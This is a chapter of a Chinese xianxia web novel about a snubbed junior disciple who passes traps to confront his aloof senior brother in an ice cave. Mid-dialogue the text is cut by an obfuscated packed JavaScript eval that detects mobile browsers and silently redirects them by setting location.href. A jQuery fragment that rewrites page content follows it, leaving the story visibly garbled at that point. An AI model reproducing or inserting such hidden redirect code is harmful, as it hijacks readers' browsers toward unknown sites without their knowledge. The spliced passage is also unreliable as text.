又是一年立春,夕朗山上的杜松雪顶还未化开,细雪簌簌落下,惊扰了仙鱼湖内一只只钓竿。
此时恰逢白露谷弟子每年的“钓仙鱼”活动。
所谓钓仙鱼,乃是白露谷东部内一个湖泊,水质呈青绿色,由于是连接外海的活水,常有一些奇怪的海鱼意外闯入,据说这些鱼儿衔了东海的仙气,吃了滋补身体有助修行。正好每年立春前后,白露谷会动员全体弟子将山谷内的湖泊凿冰,这第一波化开的湖水里是每年最早一批承载了仙气的鱼儿——据说钓到第一只“仙鱼”的人会有一整年的好运气。
可是说是这样说,钓鱼又是一件十分考验耐心的活儿,更不要说是难得一见的“仙鱼”了。于是,在湖边静候佳音的弟子们几乎快昏睡了过去,又被山上杜松落下的细雪落在脖子里冰了个透心凉。
众人纷纷叫苦不迭:这年过得,堪称一刻也不敢闲着。但又不敢有一丝怠慢,偏偏年后还要遭这苦罪——谁叫师长们说这是一种必要的修行呢?
吕歌顶着熊猫眼,趁休息的时间偷偷带来了一个小手炉,他身旁的冯骞看到了,立刻凑了上来。
冯骞:“听说了吗?这都过完年了还没动静,师父今年估计又不打算出关了。不知道啥时候才能再见到他老人家呢。”
吕歌:“是呀是呀,这几年过年,都是大师兄主持的局面,忙前忙后可把我们累死了。看来这白露谷,真是一日都不能少了大师兄。”
冯骞:“只是……吕师弟,你不觉得奇怪吗?别的门派到大师兄这个年纪早就已经出师了,为何大师兄到现在一直没有收徒,莫非背后有什么隐情不成?”
这时,一直在两人身后一位白衣青年迎了上来:“吕师兄、冯师兄,今日交代的药材我已经分好类了。还有什么需要我的地方吗?”
前头俩人一转头,就瞥见那白衣青年热情洋溢的笑容,立刻噤了声,方才私下八卦的气息一扫而光,有些心虚地避开了。
吕歌嘴角抽动:“哎呀,小师弟,你怎么来了?”
那白衣青年上前道:“多谢师兄照拂,我才有机会照料谷里花草,这不,靠近谷内的那批我已经凿冰化土处理的差不多了,便来等待师兄们检验成果。”他看了一眼钓杆,十分懂事的凑到二人身旁表示要帮忙,却遭到了嫌恶和拒绝。
“放手。”冯骞正色道,“这钓仙鱼的仙竿岂是你能碰得?”
白衣青年的笑容似乎僵了僵。
冯骞意识到自己方才的语气有些激烈,便讪讪道,“啊,我不是这个意思。小师弟入谷还不到一年,自然很多规矩要重新学习。待到你学得差不多了,才能跟我们一块儿……咳,修行,不是吗?”
白衣青年怔了怔,随后立即笑着回道:“知道了,多谢师兄教诲,师弟我这就回谷里,看看还有什么余下的活儿每做,待会儿再给师兄们送些吃食过来。”
吕歌道:“哎,那就麻烦小师弟了。”
白衣青年离开后,吕歌似乎有些愧意,他对冯骞道:“哎,我们老这样对他,是不是不太好。”
冯骞:“去去,这有啥?我们当年入谷的时候不也没少给师兄们干杂活吗?”
“我不是说这个。”吕歌道:“可也没有像他这样一年都没……呃,你也看到了,他对我们言听计从的那副样子,不过是想早日开始修行罢了。”
冯骞立即对吕歌使了个眼色:“你疯了吗?大师兄不都说了,让我们‘特别关照’他吗?这还没到一年,不得继续好好关照啊。”
吕歌为难道:“可……他也没说让我们这样关照啊。”
冯骞:“你还记得吗?刚入谷时,我们都以为他是师兄中意的苗子,所以上去交了个朋友,可结果呢,这人不知天高地厚,只顾自己出风头,害得我们受累……你还记得大师兄当时的脸色吗?要不是因为那件事,我们会白白挨了一年的罚?你要是不想沾染一身晦气,就赶紧收起你那同情心。”
吕歌最终点了点头,继续摸鱼去了。
那匆匆退下的白衣青年,正是乔相宜。
他在临走前忍不住瞥了吕歌和冯骞一眼,心想:嘁,不就是不想让我参与‘钓仙鱼’吗?我还不知道你俩这点心思?我这一年,学得规矩还不够多吗?净给你俩跑腿了。
嗐,这一切糊涂账,到底要从哪里开始算起呢?可能要从他得罪曲晏清的那天开始算起吧。
没错,他刚进白露谷那日,就得罪了曲晏清——还是当着全谷弟子的面。
乔相宜回到了空无一人的谷内,想着从哪开始动工合适。正琢磨着,突然从挂着冰凌的一间房窗缝,撞见了一双……死鱼眼。
乔相宜好似见了谷内每年的炼丹炉开鼎日一样稀奇:“哟,大师兄日理万机,难得前来视察,不如来结庐这边坐坐?”
曲晏清的鸟窝头又回来了,他单刀直入道:“你没去参加钓仙鱼?”
乔相宜摇头:“不了不了,我活儿还没干完呢。麻烦师兄抬抬贵脚,我得把结庐这边的地都重新擦一遍。”
曲晏清面对乔相宜话中的刺头,似乎只是微微抬了抬眼皮,待到乔相宜真把清洁工具都带了过来,他才不情愿地离开了此处,语气有些不理解的念道:“我将你带入仙门……你就是这样修行的?”
乔相宜忙活的手微微顿了顿:“那烦请师兄指教,正确的修行该是什么样的?”
曲晏清没理他,抬脚便走了。
大师兄走后,乔相宜立刻起身,将方才那些工具转手一丢,确定四周无人后,才行色匆匆地出了门去。
出结庐的路湿滑难走,泥土沾着雪,混着弟子们早上出门下山的脚印。乔相宜定神看了一眼,认出了混杂在众多脚印中隐隐的金色印记——那是灵玉的气息。
循着金色的印记,乔相宜从下山口绕到了一处上山口。分岔的位置恰好是一处梅林,这时,林中落雪的梅树像发了狂一般颠簸,一簇簇凝雪的冰刃毫不留情的砸向闯入的来人。
乔相宜脸色一变,立刻躲入一棵粗壮的树干后面,隔着一线天,他却分明不安的感觉到身后冰刃的无情刻薄。再探出身时,他眼中的不安已经褪去,留下的是坚定的、毫不退却。
乔相宜扬起手中折扇,方才射向他眼睛方向的冰刃立即被一阵狂风卷了起来,风将冰刃推回了来时的方向——梅林飘散出漫天的雪花,最终,后排的梅树倒下了一株——一条原本被密林掩盖的小径露了出来。
乔相宜一转头,方才替他遮风挡雨的树干上多了一道写了字的冰凌——把武器收起来。
“老天,这人怎么事这样多!”乔相宜确认了三遍字迹,又确认了太阳高照,此地不会留下罪证后才不情愿地将方才的折扇用绷带绑在手臂上,藏进袖子里。动作时,他不自觉地吃痛地“嘶”了一声——貌似是碰到了之前“过关”时留下的伤口。
到了那棵倒地的梅树前,他才惊觉,小径后面还有一段悬崖——不下雪时就难走的很,更不要说结了冰了。
“我绝对是得罪人了。”乔相宜心中暗暗地想。
越过难捱的悬崖后,他终于到达了一处……似乎被冰全面包裹的山洞。乔相宜稳了稳打颤的牙齿,最终整理了仪容,走了进去。
他试探道:“……有人吗?”
无人回应。
他又念经一样喊:“有人吗?有人吗——”
这才见到山洞深处,似乎点亮了一道红光,乔相宜心中明了,向洞中深处走去,几步后,他发现这如冰窖一样的洞穴,内部的温度……暖和的竟好似春天。
洞穴最深处,一人背过身去,静默地打坐。
……
“有人吗?”乔相宜继续喊,“没人我就走了。”
半晌,那人懒懒回道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303569|156962||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“不多不少,半柱香的时间,再晚一点,你就见不到我了——一年了,你终于能连闯三关,走到我面前来了。”
乔相宜:“石……师兄不会以为,我每天除了端茶送水打扫卫生浇花捣药除草以外……什么都不做吧。”
话音刚落,打坐的那人转过身来,正是先前在结庐出没的——大师兄曲晏清。
他回身时,随手掐灭了一个即将落在他头顶上的冰凌,冰凌落在地面上,现出一个小人的形状。
曲晏清冷冷道:“出息了,还敢在我面前耍小聪明。”
乔相宜假装回头看风景。
一年以前,入画仪式中,曲晏清也是这样当着乔相宜的面,碾碎了一只纸人。
彼时,以为自己尾巴被踩住的乔相宜面对自己冲动犯下的“错事”,只好低声下气地受了对方的威胁,和盘托出了自己来到元京的原委,却在事后意识到——这是个惊天骗局。
幻海盟的摩琅君并没有把自己在入画仪式中的“刺杀”行为报告仙门,因为摩琅君此人在元京会武结束后……突然消失了,连幻海盟的人也不知道他去了哪里。
乔相宜知道这个消息时,人已经入了白露谷,直到这时他才意识到:曲晏清拿来威胁他的理由也许根本不存在。但与此同时,他也意识到:仙门是个比他想象中水更深的地方——原来他在摩琅君记忆中窥探到的“漩涡”并不是错觉,甚至因为“漩涡”确实存在,所以那人才莫名其妙地消失了。这导致,萦绕在他心头的那些疑问和阴霾更深了。
但为什么,所有人都对摩琅君的消失无动于衷?
这百思不得其解却又抓耳挠腮的一点,迫使乔相宜将疑问的准头再次抛向他那难搞的大师兄——可惜他的那位大师兄,脾气难伺候的很,把他带到白露谷后,只让他匆匆拜过万掌门的雕像后就扔进了结庐,还交代几位师兄弟“好生照料”。自那以后就杳无音信,只在重要的节日见过几面。且……每次看到自己有意接近后,就没给过好脸子,害得整个谷里的师兄弟都以为他得罪了他,弄得乔相宜在谷里的日子……没有一天好过。
乔相宜心想:曲晏清明知道自己心中有气说不出,却视而不见,甚至对那日“入画仪式”内发生的事情也当什么都没发生过……还好他不是那种有脾气往肚子里咽的人,在曲晏清几次三番的冷漠态度后,他逐渐意识到:这人是故意在刁难他。
自己必须主动上前问个明白——曲晏清究竟为何让他入了仙门?烟波镜口中的那个“研究”,又是什么东西?
想通这层后,入谷的下半年,乔相宜没有再当众找过曲晏清,只是私下会留意些消息。
一日,他得知大师兄在谷内的情报后便偷偷上了山——因为他好似从山上的空气中闻到了一种类似曲晏清身上的……灵气。
乔相宜十分相信自己对于灵气的灵敏嗅觉,因此他不假思索跟了上去,却在下一个分岔的隘口,收到了树林内“乱石阵”的袭击。
彼时,防不胜防被乱石阵击中脑袋的乔相宜只以为自己误闯了什么门派禁地,但当每一次……他有意识寻觅曲晏清的踪迹和灵气,都会遭遇各种陷阱和袭击时,他终于意识到:这是曲晏清故意留下的。
难道……曲晏清在阻拦自己去找他?
不,结合上次在“入画仪式”中与曲晏清的较量,乔相宜得出结论:曲晏清留下这些陷阱,恰恰是为了要见他。就好像,故事里的主人公必须得通过什么考验,才能得到关键线索一样。
但,曲晏清为什么要避开所有人见他?
今日山上无人,谷中弟子都在山下的举行“钓仙鱼”活动,经历了无数次失败——或那人故意的隐匿的藏龙摆尾不见神迹后,乔相宜暗暗觉得:这一次,是问出疑问的最佳时机。
然而,在瞥见了曲晏清的眼神后,他忽然意识到——这是一场博弈。